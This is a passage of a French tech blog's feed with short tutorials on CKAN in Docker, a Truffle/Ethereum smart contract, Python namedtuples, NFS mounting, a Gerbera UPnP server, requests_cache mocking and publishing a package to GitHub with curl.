<p>Il y a un bug de permission sur l&rsquo;image Docker: <br/>
<code>Error - &lt;type 'exceptions.OSError'&gt;: [Errno 13] Permission denied: '/var/lib/ckan/storage/uploads'</code><br/>
Pour corriger ce problème, éditer le fichier <code>./ckan/Dockerfile</code> et ajouter les 2 lignes suivantes avant la dernière commande:</p>
<pre tabindex="0"><code>RUN mkdir -p /var/lib/ckan/storage/uploads
RUN chown -R ckan:ckan /var/lib/ckan/storage
</code></pre></blockquote>
<p><strong>Builder l&rsquo;image docker:</strong></p>
<pre tabindex="0"><code>docker-compose build
</code></pre><br/>
<p><strong>Démarrer CKAN:</strong></p>
<pre tabindex="0"><code>docker-compose up -d
</code></pre><br/>
<p>Une fois les containers initialisés, rendez-vous sur <a href="http://localhost:5000/">http://localhost:5000/</a></p>
<br/>
<blockquote>
<p>Credentials admin par défault: ckan_admin/test1234
<br/><br/>
Exécuter <a href="https://docs.ckan.org/en/2.8/maintaining/paster.html"><em>paster</em></a> situé dans un container: <code>docker-compose -f docker-compose.yml exec ckan /bin/bash -c &quot;paster ...&quot;</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Créer son premier smart contract pour Ethereum</title>
            <link>https://leandeep.com/cr%C3%A9er-son-premier-smart-contract-pour-ethereum/</link>
            <pubDate>Sun, 06 Sep 2020 09:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-son-premier-smart-contract-pour-ethereum/</guid>
            <description>&lt;h2 id=&#34;installation-des-pré-requis&#34;&gt;Installation des pré-requis&lt;/h2&gt;
&lt;h3 id=&#34;truffle&#34;&gt;Truffle&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;npm install -g truffle
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h3 id=&#34;ganache&#34;&gt;Ganache&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rendez-vous à l&amp;rsquo;adresse &lt;a href=&#34;http://truffleframework.com/ganache&#34;&gt;http://truffleframework.com/ganache&lt;/a&gt; et cliquer sur le bouton &amp;ldquo;Download&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Installation via le terminal&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;npm install ganache-cli -g
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;puis démarrage du server Ganache via la commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ganache-cli -p 7545 -i 47 -l 4700000
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;initialisation-du-projet&#34;&gt;Initialisation du projet&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Il est possible d&amp;rsquo;initialiser son project avec la commande &lt;code&gt;truffle init&lt;/code&gt; mais des &lt;a href=&#34;https://www.trufflesuite.com/boxes&#34;&gt;boilerplates&lt;/a&gt; prêts à l&amp;rsquo;emploi existent.&lt;/p&gt;&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir amiland-shop
cd amiland-shop
truffle unbox pet-shop
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;structure-du-projet&#34;&gt;Structure du projet&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;├── LICENSE
├── box-img-lg.png
├── box-img-sm.png
├── bs-config.json
├── contracts
│   └── Migrations.sol
├── migrations
│   └── 1_initial_migration.js
├── node_modules
├── package-lock.json
├── package.json
├── src
│   ├── css
│   ├── fonts
│   ├── images
│   ├── index.html
│   ├── js
│   │   ├── app.js
│   │   ├── bootstrap.min.js
│   │   ├── truffle-contract.js
│   │   └── web3.min.js
│   └── pets.json
├── test
└── truffle-config.js
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;contracts/&lt;/code&gt; contient le code source Solidity pour un ou plusieurs Smart contracts, ainsi que le fichier de migration &lt;code&gt;Migrations.sol&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="installation-des-pré-requis">Installation des pré-requis</h2>
<h3 id="truffle">Truffle</h3>
<pre tabindex="0"><code>npm install -g truffle
</code></pre><br/>
<h3 id="ganache">Ganache</h3>
<p><strong>Option 1:</strong></p>
<p>Rendez-vous à l&rsquo;adresse <a href="http://truffleframework.com/ganache">http://truffleframework.com/ganache</a> et cliquer sur le bouton &ldquo;Download&rdquo;.</p>
<p><strong>Option 2:</strong></p>
<p>Installation via le terminal</p>
<pre tabindex="0"><code>npm install ganache-cli -g
</code></pre><p>puis démarrage du server Ganache via la commande:</p>
<pre tabindex="0"><code>ganache-cli -p 7545 -i 47 -l 4700000
</code></pre><br/>
<h2 id="initialisation-du-projet">Initialisation du projet</h2>
<blockquote>
<p>Il est possible d&rsquo;initialiser son project avec la commande <code>truffle init</code> mais des <a href="https://www.trufflesuite.com/boxes">boilerplates</a> prêts à l&rsquo;emploi existent.</p></blockquote>
<pre tabindex="0"><code>mkdir amiland-shop
cd amiland-shop
truffle unbox pet-shop
</code></pre><br/>
<h2 id="structure-du-projet">Structure du projet</h2>
<pre tabindex="0"><code>├── LICENSE
├── box-img-lg.png
├── box-img-sm.png
├── bs-config.json
├── contracts
│   └── Migrations.sol
├── migrations
│   └── 1_initial_migration.js
├── node_modules
├── package-lock.json
├── package.json
├── src
│   ├── css
│   ├── fonts
│   ├── images
│   ├── index.html
│   ├── js
│   │   ├── app.js
│   │   ├── bootstrap.min.js
│   │   ├── truffle-contract.js
│   │   └── web3.min.js
│   └── pets.json
├── test
└── truffle-config.js
</code></pre><br/>
<ul>
<li>
<p><code>contracts/</code> contient le code source Solidity pour un ou plusieurs Smart contracts, ainsi que le fichier de migration <code>Migrations.sol</code>.</p>
</li>
<li>
<p><code>migrations/</code>: truffle possède un système de migration pour déployer des smarts contracts. Une migration est vue comme un smart contract particulier qui permet de suivre tous les changements réalisés.</p>
</li>
<li>
<p><code>test/</code>: contient à la fois les fichiers de tests pour le code JavaScript et Solidity.</p>
</li>
<li>
<p><code>truffle-config.js</code>: Fichier de configuration Truffle.</p>
</li>
</ul>
<blockquote>
<p>D&rsquo;autres fichiers ont été créés avec le boilerplate. Nous ne les détaillerons pas dans cet article. Il s&rsquo;agit principalement des fichiers permettant d&rsquo;afficher un front pour notre dApp.</p></blockquote>
<br/>
<h2 id="smart-contract">Smart contract</h2>
<p>Créer un fichier appelé <code>AdoptUnChien.sol</code> et ajouter le code suivant:</p>
<pre tabindex="0"><code>pragma solidity ^0.5.0;

contract AdoptUnChien {
    address[16] public nouveauxParents;
    
    function adoptUnChien(uint chienId) public returns (uint) {
        require(chienId &gt;= 0 &amp;&amp; chienId &lt;= 15);
        nouveauxParents[chienId] = msg.sender;
        return chienId;
    }

    function getNouveauxParents() public view returns (address[16] memory) {
        return nouveauxParents;
    }
}
</code></pre><blockquote>
<p>Nous avons défini la variable <code>nouveauxParents</code> qui est un tableau d&rsquo;adresse Ethereum. Les tableaux contienne un type et ont une taille fixe ou variable. Dans notre cas de notre variable le type est <code>address</code> et la longueur du tableau est <code>16</code>.</p></blockquote>
<blockquote>
<p><code>memory</code> dans <code>address[16] memory</code> retourne la location des données d&rsquo;une variable.</p></blockquote>
<blockquote>
<p>Le mot clé <code>view</code> dans la déclaration de la fonction <code>getNouveauxParents</code> signifie que la fonction ne va pas modifier l&rsquo;état du contrat.</p></blockquote>
<blockquote>
<p>La doc pour apprendre le langage Solidity est ici: <a href="https://solidity.readthedocs.io/en/v0.5.3/types.html">https://solidity.readthedocs.io/en/v0.5.3/types.html</a></p></blockquote>
<blockquote>
<p>Le style guide est accessible ici: <a href="https://solidity.readthedocs.io/en/v0.5.3/style-guide.html">https://solidity.readthedocs.io/en/v0.5.3/style-guide.html</a> . Il est inspiré de Python: &ldquo;The structure and many of the recommendations within this style guide were taken from python’s pep8 style guide.&rdquo;
<br/></p></blockquote>
<h2 id="compilation">Compilation</h2>
<pre tabindex="0"><code>truffle compile
</code></pre><p>Si tout se passe bien, vous devriez voir quelque chose de similaire à ceci:</p>
<pre tabindex="0"><code>Compiling your contracts...
===========================
&gt; Compiling ./contracts/AdoptUnChien.sol
&gt; Compiling ./contracts/Migrations.sol
&gt; Artifacts written to /Users/olivier/Dev/Leandeep/Ethereum/amiland-shop/build/contracts
&gt; Compiled successfully using:
   - solc: 0.5.16+commit.9c3226ce.Emscripten.clang
</code></pre><br/>
<h2 id="déploiement">Déploiement</h2>
<p>Pour déployer son smart contract sur la blockchain on utilise une migration.</p>
<p>Pour ceux qui connaissent Alembic en Python pour migrer le schéma de sa base de données Postgres c&rsquo;est un peu le même concept.</p>
<p>Une migration est un script de déploiement qui altère l&rsquo;état des contrats de son application en le faisant passer d&rsquo;un état <em>n</em> à un état <em>n+1</em>.</p>
<p>Pour une première migration, il n&rsquo;y a pas de changement d&rsquo;état. On déploie simplement du nouveau code mais pour les autres migrations, il faudra peut être déplacer des données et remplacer un smart contrat par un autre.</p>
<p>Configurer le fichier <code>truffle-config.js</code>. Eventuellement changez le network-id. La valeur à entrer se trouve dans les settings de Ganache.</p>
<p>Puis exécuter la commande de migration:</p>
<pre tabindex="0"><code>truffle migrate
</code></pre><p>Si tout se passe bien, vous devriez avoir un message comme celui ci:</p>
<pre tabindex="0"><code>Compiling your contracts...
===========================
&gt; Everything is up to date, there is nothing to compile.



Starting migrations...
======================
&gt; Network name:    &#39;development&#39;
&gt; Network id:      47
&gt; Block gas limit: 6721975 (0x6691b7)


1_initial_migration.js
======================

   Deploying &#39;Migrations&#39;
   ----------------------
   &gt; transaction hash:    0x84d8f3bfba6820d3555a9036eaee427d7c74c26ccf8f855163e4e3cc56e52060
   &gt; Blocks: 0            Seconds: 0
   &gt; contract address:    0x99e87F4bF62117ed6C4f330026FA473570792118
   &gt; block number:        3
   &gt; block timestamp:     1599397484
   &gt; account:             0x52F1292acF383eB82DC4c08A966447D642d8294C
   &gt; balance:             99.99554203
   &gt; gas used:            164175 (0x2814f)
   &gt; gas price:           20 gwei
   &gt; value sent:          0 ETH
   &gt; total cost:          0.0032835 ETH


   &gt; Saving migration to chain.
   &gt; Saving artifacts
   -------------------------------------
   &gt; Total cost:           0.0032835 ETH


2_deploy_contracts.js
=====================

   Deploying &#39;AdoptUnChien&#39;
   ------------------------
   &gt; transaction hash:    0xbdc59be57dc2ff1811aba723905f1f6cfda1bcb86af3f1686934cdb4c8a3803b
   &gt; Blocks: 0            Seconds: 0
   &gt; contract address:    0x2be685a572F1bd7AAFdD6fCc00C5A9B6E04CFCE7
   &gt; block number:        5
   &gt; block timestamp:     1599397485
   &gt; account:             0x52F1292acF383eB82DC4c08A966447D642d8294C
   &gt; balance:             99.99061867
   &gt; gas used:            203827 (0x31c33)
   &gt; gas price:           20 gwei
   &gt; value sent:          0 ETH
   &gt; total cost:          0.00407654 ETH


   &gt; Saving migration to chain.
   &gt; Saving artifacts
   -------------------------------------
   &gt; Total cost:          0.00407654 ETH


Summary
=======
&gt; Total deployments:   2
&gt; Final cost:          0.00736004 ETH
</code></pre><br/>
<h2 id="tests-unitaires">Tests unitaires</h2>
<h3 id="tests-solidity">Tests Solidity</h3>
<p>Créer un fichier <code>TestAdoptUnChien.sol</code> dans le répertoire <code>test</code> et ajouter le contenu ci-dessous.</p>
<p>La liste des assertions disponible pour Solidity est la suivante: <a href="https://github.com/trufflesuite/truffle/blob/master/packages/core/lib/testing/Assert.sol">https://github.com/trufflesuite/truffle/blob/master/packages/core/lib/testing/Assert.sol</a></p>
<pre tabindex="0"><code>pragma solidity ^0.5.0;

import &#34;truffle/Assert.sol&#34;;
import &#34;truffle/DeployedAddresses.sol&#34;;
import &#34;../contracts/AdoptUnChien.sol&#34;;

contract TestAdoptUnChien {
    // The address of the AdoptUnChien contract to be tested
    AdoptUnChien adoptUnChien = AdoptUnChien(DeployedAddresses.AdoptUnChien());

    // The id of the pet that will be used for testing
    uint expectedChienId = 8;

    //The expected owner of adopted pet is this contract
    address expectedNouveauParent = address(this);


    function testNouveauParentPeutAdopterUnChien() public {
        uint returnedId = adoptUnChien.adoptUnChien(expectedChienId);
        Assert.equal(returnedId, expectedChienId, &#34;AdoptUnChien of the expected chien should match what is returned.&#34;);
    }

    function testGetNouveauxParentsAddressByChienId() public {
        address nouveauParent = adoptUnChien.nouveauxParents(expectedChienId);
        Assert.equal(nouveauParent, expectedNouveauParent, &#34;Owner of the expected pet should be this contract&#34;);
    }

     function testGetNouveauParentAddressByChienIdInArray() public {
        // Store nouveauxParents in memory rather than contract&#39;s storage
        address[16] memory nouveauxParents = adoptUnChien.getNouveauxParents();
        Assert.equal(nouveauxParents[expectedChienId], expectedNouveauParent, &#34;Owner of the expected chien should be this contract&#34;);
    }

}
</code></pre><p>Exécuter les tests via la commande:</p>
<pre tabindex="0"><code>truffle test
</code></pre><p>S&rsquo;il n&rsquo;y a pas d&rsquo;erreur, vous devriez voir quelque chose de similaire:</p>
<pre tabindex="0"><code>Using network &#39;development&#39;.


Compiling your contracts...
===========================
&gt; Compiling ./contracts/AdoptUnChien.sol
&gt; Compiling ./test/TestAdoption.sol
&gt; Artifacts written to /var/folders/6n/c4hj8zyn21j9pbxdjz86y0kw0000gn/T/test--54639-JZkSvOpCLaWh
&gt; Compiled successfully using:
   - solc: 0.5.16+commit.9c3226ce.Emscripten.clang



  TestAdoptUnChien
    ✓ testNouveauParentPeutAdopterUnChien (147ms)
    ✓ testGetNouveauxParentsAddressByChienId (113ms)
    ✓ testGetNouveauParentAddressByChienIdInArray (122ms)


  3 passing (8s)
</code></pre><br/>
<h3 id="tests-javascript">Tests JavaScript</h3>
<p>On peut également créer des tests en JavaScript:</p>
<p>Par exemple, créer un fichier <code>testAdoptUnChien.test.js</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>const AdoptUnChien = artifacts.require(&#34;AdoptUnChien&#34;);

contract(&#34;AdoptUnChien&#34;, (nouveauxParents) =&gt; {
    let adoptUnChien;
    let expectedChienId;

    before(async () =&gt; {
        adoptUnChien = await AdoptUnChien.deployed();
    });

    describe(&#34;Adopter un chien et recuperer les adresses de son account&#34;, async () =&gt; {
        before(&#34;adopter un chien en utilisant nouveauxParents[0]&#34;, async () =&gt; {
            await adoptUnChien.adoptUnChien(8, { from: nouveauxParents[0] });
            expectedNouveauParent = nouveauxParents[0];
        });
    });

    describe(&#34;Adopter un chien et récupérer les adresses du compte&#34;, async () =&gt; {
        before(&#34;adopter un chien en utilisant nouveauxParents[0]&#34;, async () =&gt; {
            await adoptUnChien.adoptUnChien(8, { from: nouveauxParents[0] });
            expectedAdopter = nouveauxParents[0];
        });

        it(&#34;peut récupérer l&#39;adresse d&#39;un nouveauParent par chien id&#34;, async () =&gt; {
            const adopteUnChien = await adoptUnChien.nouveauxParents(8);
            assert.equal(adopteUnChien, expectedAdopter, &#34;The owner of the adopted pet should be the first account.&#34;);
        });

        it(&#34;peut récupérer la liste des adresses de tous les nouveaux parents&#34;, async () =&gt; {
            const adopters = await adoptUnChien.getNouveauxParents();
            assert.equal(adopters[8], expectedAdopter, &#34;The owner of the adopted pet should be in the collection.&#34;);
        });
    });

});
</code></pre><p>Exécuter la même commande que pour les tests Solidity:</p>
<pre tabindex="0"><code>truffle test
</code></pre><p>Résultat si tout est ok:</p>
<pre tabindex="0"><code>Using network &#39;development&#39;.


Compiling your contracts...
===========================
&gt; Compiling ./contracts/AdoptUnChien.sol
&gt; Artifacts written to /var/folders/6n/c4hj8zyn21j9pbxdjz86y0kw0000gn/T/test--56489-VuSW19vJxhf6
&gt; Compiled successfully using:
   - solc: 0.5.16+commit.9c3226ce.Emscripten.clang



  Contract: AdoptUnChien
    Adopter un chien et récupérer les adresses du compte
      ✓ peut récupérer l&#39;adresse d&#39;un nouveauParent par chien id
      ✓ peut récupérer la liste des adresses de tous les nouveaux parents (75ms)


  2 passing (300ms)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Rendre du code plus propre avec des namedtuples</title>
            <link>https://leandeep.com/rendre-du-code-plus-propre-avec-des-namedtuples/</link>
            <pubDate>Tue, 18 Aug 2020 23:02:09 -0700</pubDate>
            
            <guid>https://leandeep.com/rendre-du-code-plus-propre-avec-des-namedtuples/</guid>
            <description>&lt;p&gt;Imaginons que nous souhaitions afficher le contenu d&amp;rsquo;une table de base de données contenant des informations sur les salariés d&amp;rsquo;une entreprise.
On peut utiliser une liste de tuples pour stocker en mémoire les lignes de la table. Chaque index d&amp;rsquo;un tuple correspond alors à une colonne de la table. Si la table contient les colonnes suivantes: &amp;ldquo;name&amp;rdquo;, &amp;ldquo;birthdate&amp;rdquo;, &amp;ldquo;salary&amp;rdquo; et &amp;ldquo;employment_date&amp;rdquo;, &lt;code&gt;l&#39;index 2&lt;/code&gt; correspond donc au salaire d&amp;rsquo;un employé. C&amp;rsquo;est plutôt simple à retenir avec seulement 4 indexes mais si la table possède 20 colonnes, ce sera plus difficile à retenir. Et même si la table ne possède que 4 colonnes, &lt;code&gt;row[2]&lt;/code&gt; n&amp;rsquo;est pas très parlant pour le développeur qui relira le code.
En utilisant les collections namedtuple, on peut apporter plus de clarté au code.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Imaginons que nous souhaitions afficher le contenu d&rsquo;une table de base de données contenant des informations sur les salariés d&rsquo;une entreprise.
On peut utiliser une liste de tuples pour stocker en mémoire les lignes de la table. Chaque index d&rsquo;un tuple correspond alors à une colonne de la table. Si la table contient les colonnes suivantes: &ldquo;name&rdquo;, &ldquo;birthdate&rdquo;, &ldquo;salary&rdquo; et &ldquo;employment_date&rdquo;, <code>l'index 2</code> correspond donc au salaire d&rsquo;un employé. C&rsquo;est plutôt simple à retenir avec seulement 4 indexes mais si la table possède 20 colonnes, ce sera plus difficile à retenir. Et même si la table ne possède que 4 colonnes, <code>row[2]</code> n&rsquo;est pas très parlant pour le développeur qui relira le code.
En utilisant les collections namedtuple, on peut apporter plus de clarté au code.</p>
<br/>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>def print_employee_info(db_cursor):
    results = db_cursor.execute(&#39;SELECT * from employees&#39;).fetchall()
    for row in results:
        print(f&#34;{row[0]}, born on {row[1]} was hired on {row[3]}. His salary is {row[2]}&#34;)
</code></pre><br/>
<h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<pre tabindex="0"><code>from collections import namedtuple

EmployeeRow = namedtuple(&#39;EmployeeRow&#39;, [
    &#39;name&#39;,
    &#39;birthdate&#39;,
    &#39;salary&#39;,
    &#39;employment_date&#39;
])

EMPLOYEE_INFO = f&#34;{name}, born on {birthdate} was hired on {employment_date}. His salary is {salary}&#34;

def print_employee_info(db_cursor):
    results = db_cursor.execute(&#39;SELECT * from employees&#39;).fetchall()
    for row in results:
        employee = EmployeeRow._make(row)

        print(EMPLOYEE_INFO.format(**employee._asdict()))
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Monter un disque NFS sur Ubuntu</title>
            <link>https://leandeep.com/monter-un-disque-nfs-sur-ubuntu/</link>
            <pubDate>Sat, 15 Aug 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/monter-un-disque-nfs-sur-ubuntu/</guid>
            <description>&lt;p&gt;Voici la procédure très simple pour monter automatiquement un disque NFS sur Ubuntu.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install nfs-common
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;p&gt;Créer le répertoire pour le point de montage:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir -p /mnt/smalldiskspool/Musique
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Editer le fichier &lt;code&gt;/etc/fstab&lt;/code&gt; et ajouter une ligne comme celle ci par exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;192.168.0.42:/mnt/smalldiskspool/Musique/ /mnt/smalldiskspool/Musique nfs rw,sync,hard 0 0
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;blockquote&gt;
&lt;p&gt;0 0 signifie que Linux ne va pas checker les erreurs disque (ce sera géré par le serveur)&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Rebooter.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici la procédure très simple pour monter automatiquement un disque NFS sur Ubuntu.</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>sudo apt install nfs-common
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<p>Créer le répertoire pour le point de montage:</p>
<pre tabindex="0"><code>mkdir -p /mnt/smalldiskspool/Musique
</code></pre><br/>
<p>Editer le fichier <code>/etc/fstab</code> et ajouter une ligne comme celle ci par exemple:</p>
<pre tabindex="0"><code>192.168.0.42:/mnt/smalldiskspool/Musique/ /mnt/smalldiskspool/Musique nfs rw,sync,hard 0 0
</code></pre><br/>
<blockquote>
<p>0 0 signifie que Linux ne va pas checker les erreurs disque (ce sera géré par le serveur)</p></blockquote>
<p>Rebooter.</p>
]]></content>
        </item>
        
        <item>
            <title>Serveur de musique lossless UPNP</title>
            <link>https://leandeep.com/serveur-de-musique-lossless-upnp/</link>
            <pubDate>Thu, 13 Aug 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/serveur-de-musique-lossless-upnp/</guid>
            <description>&lt;br/&gt;
&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment installer un serveur UPNP sur OSX et Linux pour streamer des musiques FLAC. Cela peut être utile pour certaines enceintes connectées comme les fameuses KEF LSX. Ce genre de serveur peut vous permettre d&amp;rsquo;éviter de payer des abonnements Tidal, Spotify ou Deezer pour vos titres favoris.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/enceintes-kef-lsx.jpg&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-sur-osx&#34;&gt;Installation sur OSX&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew tap gerbera/homebrew-gerbera
brew install gerbera
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;installation-sur-linux&#34;&gt;Installation sur Linux&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Option 1 sur Debian et Ubuntu (1.0):&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<br/>
<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment installer un serveur UPNP sur OSX et Linux pour streamer des musiques FLAC. Cela peut être utile pour certaines enceintes connectées comme les fameuses KEF LSX. Ce genre de serveur peut vous permettre d&rsquo;éviter de payer des abonnements Tidal, Spotify ou Deezer pour vos titres favoris.</p>
<br/>
<p><img src="/images/enceintes-kef-lsx.jpg" alt="image"></p>
<br/>
<h2 id="installation-sur-osx">Installation sur OSX</h2>
<pre tabindex="0"><code>brew tap gerbera/homebrew-gerbera
brew install gerbera
</code></pre><br/>
<h2 id="installation-sur-linux">Installation sur Linux</h2>
<p><strong>Option 1 sur Debian et Ubuntu (1.0):</strong></p>
<pre tabindex="0"><code>sudo apt install gerbera
</code></pre><p>Le fichier de configuration est situé ici:</p>
<pre tabindex="0"><code>sudo vi /etc/gerbera/config.xml
</code></pre><p><br/>
<strong>Option 2 sur Debian et Ubuntu (build pour obtenir la dernière version) :</strong></p>
<pre tabindex="0"><code>sudo apt install cmake
sudo apt install g++
sudo apt-get install autoconf
sudo apt-get install libtool
sudo apt-get install pkg-config
sudo apt install libavutil-dev libavcodec-dev libavformat-dev libavdevice-dev \
libavfilter-dev libavresample-dev libswscale-dev libswresample-dev libpostproc-dev
sudo apt install uuid-dev libsqlite3-dev libmysqlclient-dev \
libmagic-dev libexif-dev libcurl4-openssl-dev libspdlog-dev libpugixml-dev
git clone https://github.com/gerbera/gerbera.git
cd gerbera
sudo ./scripts/install-taglib111.sh
sudo ./scripts/install-pupnp.sh
mkdir build
cd build
cmake ../gerbera -DWITH_MAGIC=1 -DWITH_MYSQL=1 -DWITH_CURL=1 -DWITH_JS=1 \
-DWITH_TAGLIB=1 -DWITH_AVCODEC=1 -DWITH_FFMPEGTHUMBNAILER=1 -DWITH_EXIF=1 -DWITH_LASTFM=1
make -j4
sudo make install
</code></pre><br/>
<p><strong>Sur Fedora :</strong></p>
<pre tabindex="0"><code>sudo dnf install gerbera
</code></pre><br/>
<h2 id="configuration-et-démarrage-du-serveur-pour-version-14">Configuration et démarrage du serveur (pour version 1.4+)</h2>
<pre tabindex="0"><code>mkdir ~/.config/gerbera
gerbera --create-config | sed &#39;s/accounts enabled=&#34;no&#34;/accounts enable=&#34;yes&#34;/&#39; &gt; ~/.config/gerbera/config.xml
gerbera &amp;

# sur OSX
open -a Safari http://0.0.0.0:49152/
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Mocker en 1 minute les appels vers des services externes</title>
            <link>https://leandeep.com/mocker-en-1-minute-les-appels-vers-des-services-externes/</link>
            <pubDate>Sat, 04 Jul 2020 21:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/mocker-en-1-minute-les-appels-vers-des-services-externes/</guid>
            <description>&lt;p&gt;Que ce soit pour du dévelopement ou pour exécuter des tests ou autres, il est très fréquent de vouloir mocker les appels vers des services externes.
Si vous utilisez le module &lt;code&gt;requests&lt;/code&gt; dans votre projet vous pouvez tout simplement ajouter le module &lt;code&gt;requests_cache&lt;/code&gt; pour créer des bouchons. En effet, ce dernier va mettre en cache (dans une base de données sqlite) toutes les réponses aux requêtes faites par &lt;code&gt;requests&lt;/code&gt;.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;mise-en-place&#34;&gt;Mise en place&lt;/h2&gt;
&lt;p&gt;Bien sûr, on install le module: &lt;code&gt;pip install requests_cache&lt;/code&gt;. Puis on ajoute le code suivant dans son projet:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Que ce soit pour du dévelopement ou pour exécuter des tests ou autres, il est très fréquent de vouloir mocker les appels vers des services externes.
Si vous utilisez le module <code>requests</code> dans votre projet vous pouvez tout simplement ajouter le module <code>requests_cache</code> pour créer des bouchons. En effet, ce dernier va mettre en cache (dans une base de données sqlite) toutes les réponses aux requêtes faites par <code>requests</code>.</p>
<br/>
<h2 id="mise-en-place">Mise en place</h2>
<p>Bien sûr, on install le module: <code>pip install requests_cache</code>. Puis on ajoute le code suivant dans son projet:</p>
<pre tabindex="0"><code>import requests 

import requests_cache
requests_cache.install_cache(&#34;non_fichier_bdd_sqlite&#34;)
</code></pre><p>Comme vous le voyez c&rsquo;est excessivement simple.</p>
<p><br/>
Notez que ce système peut permettre de travailler efficacement en mode déconnecté ou de travailler sur des systèmes sécurisés non exposés sur internet.</p>
]]></content>
        </item>
        
        <item>
            <title>Deployer un package sur github via curl</title>
            <link>https://leandeep.com/deployer-un-package-sur-github-via-curl/</link>
            <pubDate>Mon, 20 Apr 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/deployer-un-package-sur-github-via-curl/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Cet bref article montre comment déployer un package sur Github via une simple commande &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Dans notre cas, il s&amp;rsquo;agit d&amp;rsquo;un jar mais cela s&amp;rsquo;applique à tous les types de packages supportés par Github:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Docker&lt;/li&gt;
&lt;li&gt;Maven&lt;/li&gt;
&lt;li&gt;Nuget&lt;/li&gt;
&lt;li&gt;Ruby gem&lt;/li&gt;
&lt;li&gt;npm&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;commande&#34;&gt;Commande&lt;/h2&gt;
&lt;p&gt;En pré-requis, il sera nécessaire de générer un Github personal access tocken (&amp;ndash;&amp;gt; Settings &amp;ndash;&amp;gt; Developer settings &amp;ndash;&amp;gt; Personal access tokens)&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export MON_REPO_GIT=oeeckhoutte/mon-package
export PACKAGE_NAME=mon-package
export PACKAGE_VERSION=0.0.1
export JAR_FILENAME=mon-package-0.0.1.jar
export LOCAL_JAR_PACKAGE_PATH=/tmp/mon-package-0.0.1.jar

curl -X PUT \
&amp;#34;https://maven.pkg.github.com/$MON_REPO_GIT/$PACKAGE_NAME/$PACKAGE_VERSION/$JAR_FILENAME&amp;#34; \
-H &amp;#34;Authorization: token YOUR_TOKEN&amp;#34; \
--upload-file $LOCAL_JAR_PACKAGE_PATH -vvv
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Cet bref article montre comment déployer un package sur Github via une simple commande <code>curl</code>.</p>
<br/>
<p>Dans notre cas, il s&rsquo;agit d&rsquo;un jar mais cela s&rsquo;applique à tous les types de packages supportés par Github:</p>
<ul>
<li>Docker</li>
<li>Maven</li>
<li>Nuget</li>
